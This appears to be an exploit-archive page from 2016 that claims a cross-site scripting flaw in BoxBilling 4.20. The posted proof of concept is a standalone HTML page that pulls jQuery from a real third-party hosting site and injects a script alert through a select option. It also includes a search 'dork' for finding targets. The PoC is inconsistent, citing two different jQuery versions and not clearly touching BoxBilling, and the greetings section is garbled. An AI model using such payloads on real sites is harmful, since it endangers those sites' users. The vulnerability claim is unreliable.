Home / os / winmobile

BoxBilling 4.20 Cross Site Scripting

Posted on 05 October 2016

========================================================================
| # Title : BoxBilling 4.20 cross site scripting Exploits
| # Author : indoushka
| # email : indoushka4ever@gmail.com
| # Tested on : windows 8.1 FranASSais V.(Pro)
| # Version : 4.20
| # Vendor : https://github.com/boxbilling/boxbilling/releases/download/4.20/BoxBilling.zip
| # Dork : BoxBilling 4.20
========================================================================

poc :

<html>
<head>
<meta charset="utf-8">
<title>XSS Reflected - Jquery 1.7.2 </title>
<script src="http://crystalhostsa.co.za//billing/bb-themes/boxbilling/assets/jquery.min.js"></script>
<script>
$(function() {
$('#users').each(function() {
var select = $(this);
var option = select.children('option').first();
select.after(option.text());
select.hide();
});
});
</script>
</head>

<body>
<form method="post">
<p>
<select id="users" name="users">
<option value="xssreflected"><script>alert(&#x27;xss
reflected - jquery 1.7.1 by - indoushka thnx to
@firebitsbr - mauro.risonho@gmail.com&#x27;);</script></option>
</select>
</p>
</form>
</body>
</html>

Greetz : aua'>>a'1/2a'1/2a'dega'deg aua'degaua'degau a'>>a'*a'*auaua'>>------au-auau-a'deg a'degaua'degauPSaua'3a'>>au-------- aua'degauau!a'>>auau aua'degauaua'*oauaua'degau ------
|
jericho * Larry W. Cashdollar * moncet-1 * achraf.tn |
|
===================== pa'degaua'1/2a'>>au auauoauau aua'>>auauauauauauC/ =============================

 

TOP

Malware :

Exploits :